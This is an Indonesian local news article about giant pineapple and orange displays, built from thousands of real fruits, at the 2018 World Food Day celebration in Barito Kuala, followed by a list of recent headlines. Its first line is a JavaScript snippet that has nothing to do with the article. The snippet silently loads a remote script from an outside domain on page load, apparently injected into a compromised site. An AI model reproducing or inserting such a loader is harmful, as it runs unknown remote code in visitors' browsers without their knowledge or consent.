(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Masyarakat Asik Berfoto Selfi Berlatar Jeruk dan Nanas Raksasa di HPS


BATOLA, Pagelaran puncak Hari Pangan Sedunia (HPS) ke-38 tahun 2018 di Desa Jejangkit Kabupaten Barito Kuala (Batola), Kamis (18/10) memberikan kekaguman tersendiri terhadap tamu maupun masyarakat yang hadir. Salah satu yang menjadi daya tariknya yaitu objek buah nanas dan jeruk dengan ukuran raksasa.

Buah nanas dan jeruk raksasa ini bukan seperti buah pada umumnya. Namun disusun menggunakan ribuah buah asli sehingga terbentuklah buah raksasa tersebut. Untuk kerangka nanas raksasa terhitung ada 4.500 buah nanas yang disusun dengan mencapai tinggi 7,3 meter dan untuk kerangka jeruk sebanyak 12.000 ribu buah.

Berletak di depan panggung utama, kedua buah raksasa ini dengan cepat menarik perhatian masyarakat maupun tamu undangan yang datang. Tidak heran banyak yang mengabadik objek tersebut dengan foto ria.

Program pembuatan kedua buah raksasa ini dicanangkan Dinas Pertanian Kabuapten Batola. Bukan tanpa alasan mengapa yang dipilih adalah buah jenis nanas dan jeruk, pasalnya kedua buah ini menjadi produk unggulan dari Kabupaten Batola.

Nia, salah satu pelajar yang turut meramaikan puncak HPS ke 38 ini mengungkapkan keunikan tersendiri baginya bisa berfoto dengan kedua buah raksasa tersebut. Ia juga mengatakan selain ukurannya yang besar, kedua buah ini juga menjadi favorit baginya.

“Ukurannya besar ini saya pertama kali liat. Meskipun bukan buah asli tapi keren untuk dijadikan objek foto dan lagi buah nanas dan jeruk ini favorit saya,” katanya kepada Kanalkalimantan.com.

Di sisi lain, Wakil Bupati Batola Rahmadian Noor mengungkapkan selain menjadi produk unggulan, moment HPS ini kesempatan untuk mempromosikan kedua buah tersebut ke negara asing dengan kedatangan tamu mancan negara. “Ya kita tidak hanya membuat buah raksasa ini sebagai hiasan, tapi kita juga mau mempromosikan produk unggulan kita ke dunia. Apalagi diacara ini para Duta Besar juga turut berhadir,” ucapnya.

Selain objek buah raksasa, Hari Pangan Sedunia juga diramaikan puluhan Bazzar yang menjual barang-barang maupun makanan khas Kalimantan Selatan. Pada puncak HPS 2018 nantinya akan dilakukan panen raya padi lebak. (Rico)

Reporter: Rico
Editor: Chell


Desy Arfianty

Recent Posts

Door to Door Kanalkalimantan Peduli-MPA Fisipioneer Antar Sembako di Tanjung Rema

KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More

5 jam ago

Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa

KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More

5 jam ago

UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!

Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More

6 jam ago

Pemkab Kapuas Bahas Skema Penyelesaian Tenaga Non ASN

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More

7 jam ago

Wabup Kapuas: Hindari Pemborosan, Hentikan Budaya Dilayani

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More

7 jam ago

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

8 jam ago

This website uses cookies.